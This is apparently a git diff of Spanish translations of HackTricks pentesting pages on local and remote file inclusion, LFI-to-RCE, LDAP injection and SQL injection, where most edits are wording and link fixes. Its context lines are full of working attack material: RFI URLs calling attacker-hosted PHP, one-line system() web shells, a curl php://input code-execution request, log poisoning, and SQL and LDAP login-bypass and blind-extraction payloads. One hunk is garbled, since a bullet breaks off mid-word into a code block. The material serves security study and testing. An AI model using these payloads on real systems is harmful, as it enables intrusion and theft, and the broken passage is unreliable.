## RCE abusando de $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE abusando de $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo:
|
||||
|
||||
|
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**Combinando varias listas de LFI de \*nix y añadiendo más rutas he creado esta:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también añadir `../../../../../`
|
||||
@ -32,7 +34,9 @@ Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (
|
||||
|
||||
Fusión de diferentes listas de palabras:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también eliminar `C:/` y añadir `../../../../../`
|
||||
@ -45,7 +49,7 @@ Revisa la lista de LFI de linux.
|
||||
|
||||
## LFI básico y bypasses
|
||||
|
||||
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Todos los ejemplos son para Inclusión de Archivos Local, pero también podrían aplicarse a Inclusión de Archivos Remota (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -86,7 +90,7 @@ El sistema de archivos de un servidor se puede explorar recursivamente para iden
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Explorar Carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
2. **Sondear carpetas:** Agregue el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navegue de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -121,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto y caracteres adicionales se pueden utilizar para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determinación del número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
|
||||
@ -139,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusión Remota de Archivos
|
||||
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -205,7 +209,7 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando envolturas y protocolos PHP
|
||||
## LFI / RFI usando envoltorios y protocolos PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
@ -274,20 +278,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
|
||||
|
||||
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivina correctamente** que php desencadenará un **error**.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
|
||||
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
|
||||
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Este envoltorio permite acceder a descriptores de archivos que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códe
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -339,7 +334,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -391,7 +386,7 @@ Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido d
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mientras que esto tiene como objetivo detener la traversal, inadvertidamente crea un vector para la inyección de código. Para explotar esto para leer el contenido de archivos, un atacante podría usar:
|
||||
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -420,7 +415,7 @@ Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junt
|
||||
|
||||
### Inclusión de Archivos Remotos
|
||||
|
||||
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
||||
Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
@ -431,7 +426,7 @@ Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de i
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. La cabecera **autorización "basic"** contiene "user:password" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de esta cabecera.\
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
|
||||
Otras posibles rutas de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -462,9 +457,9 @@ Como un archivo de registro, envía la carga útil en el User-Agent, se reflejar
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Vía carga
|
||||
|
||||
Si puedes subir un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -515,7 +510,7 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### A través de filtros php (sin archivo necesario)
|
||||
### A través de filtros php (no se necesita archivo)
|
||||
|
||||
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo.
|
||||
|
||||
@ -557,7 +552,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### A través de `pearcmd.php` + argumentos de URL
|
||||
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
|
||||
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -588,7 +583,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### A través de espera eterna + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **forzar nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -598,7 +593,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
**No sé cómo es esto útil, pero podría serlo.**\
|
||||
&#xNAN;_Even si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -608,6 +603,8 @@ Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,13 +6,15 @@ Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una pági
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
|
||||
Necesitas corregir el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
|
||||
Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Tienes que cambiar también el **payload** al principio del exploit (por ejemplo, para un php-rev-shell), el **REQ1** (esto debería apuntar a la página de phpinfo y debería tener el padding incluido, es decir: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teoría
|
||||
|
||||
|
@ -16,7 +16,9 @@
|
||||
|
||||
**LDAP Injection** es un ataque dirigido a aplicaciones web que construyen declaraciones LDAP a partir de la entrada del usuario. Ocurre cuando la aplicación **no sanitiza adecuadamente** la entrada, permitiendo a los atacantes **manipular declaraciones LDAP** a través de un proxy local, lo que puede llevar a acceso no autorizado o manipulación de datos.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
@ -56,7 +58,7 @@ Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, se hash.
|
||||
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Así que, podría ser que independientemente de lo que insertes dentro de la contraseña, esta sea hasheada.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -133,7 +135,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Volcar datos
|
||||
|
||||
Puedes iterar sobre las letras ASCII, dígitos y símbolos:
|
||||
Puedes iterar sobre las letras ascii, dígitos y símbolos:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
@ -203,7 +205,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Más Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## ¿Qué es la inyección SQL?
|
||||
|
||||
Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
|
||||
@ -67,9 +66,11 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de la manera propuesta:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Confirmando con Tiempo
|
||||
### Confirmando con Tiempos
|
||||
|
||||
En algunos casos **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tendrán un **impacto en el tiempo** que necesita la página para cargar.\
|
||||
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tomará mucho tiempo en completarse:
|
||||
@ -96,7 +97,7 @@ SQLite
|
||||
```
|
||||
En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tardarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
|
||||
|
||||
### Identificación del Back-end
|
||||
### Identificando el Back-end
|
||||
|
||||
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las _**funciones de sleep**_ de la sección anterior o estas (tabla de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
@ -133,7 +134,9 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
|
||||
|
||||
### Identificando con PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Explotando Basado en Unión
|
||||
|
||||
@ -169,7 +172,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Se deben usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
_Debes usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
|
||||
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
|
||||
|
||||
@ -192,11 +195,11 @@ Cuando la salida de una consulta es visible, pero una inyección basada en unió
|
||||
|
||||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
|
||||
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
|
||||
Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Explotando Basado en Errores
|
||||
## Explotando Basada en Errores
|
||||
|
||||
Si por alguna razón **no puede** ver la **salida** de la **consulta** pero puede **ver los mensajes de error**, puede hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
|
||||
Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
|
||||
@ -205,20 +208,20 @@ Siguiendo un flujo similar al de la explotación basada en unión, podría logra
|
||||
```
|
||||
## Explotando Blind SQLi
|
||||
|
||||
En este caso, no puedes ver los resultados de la consulta o los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
|
||||
En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
|
||||
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Explotación de Error Blind SQLi
|
||||
## Explotando Error Blind SQLi
|
||||
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivines correctamente el carácter:
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Explotación de SQLi Basada en Tiempo
|
||||
## Explotando SQLi Basado en Tiempo
|
||||
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](./#confirming-with-timing).
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -240,17 +243,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Explotación Automatizada
|
||||
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Información técnica específica
|
||||
|
||||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de Inyección SQL. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
|
||||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
- [MySQL](mysql-injection/)
|
||||
- [MySQL](mysql-injection/index.html)
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
O encontrarás **muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
@ -280,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
Deberías usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
|
||||
&#xNAN;_(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bypass de Autenticación GBK
|
||||
|
||||
@ -307,7 +312,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modificar la contraseña de un objeto/usuario existente
|
||||
|
||||
Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto maestro"** (probablemente **admin** en el caso de los usuarios) modificando algo:
|
||||
Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto maestro"** (probablemente **admin** en el caso de usuarios) modificando algo:
|
||||
|
||||
- Crear un usuario llamado: **AdMIn** (letras mayúsculas y minúsculas)
|
||||
- Crear un usuario llamado: **admin=**
|
||||
@ -331,7 +336,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
@ -379,7 +384,7 @@ Usando **hex** y **replace** (y **substr**):
|
||||
```
|
||||
## Inyección SQL enrutada
|
||||
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce salida, sino que la salida de la consulta inyectable va a la consulta que produce salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce la salida, sino que la salida de la consulta inyectable va a la consulta que produce la salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
@ -401,11 +406,11 @@ No Space (%20) - bypass utilizando alternativas de espacio en blanco
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Sin Espacios - eludir usando comentarios
|
||||
No Whitespace - eludir usando comentarios
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
No espacio en blanco - eludir usando paréntesis
|
||||
Sin espacios - eludir usando paréntesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -444,14 +449,14 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas**, podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
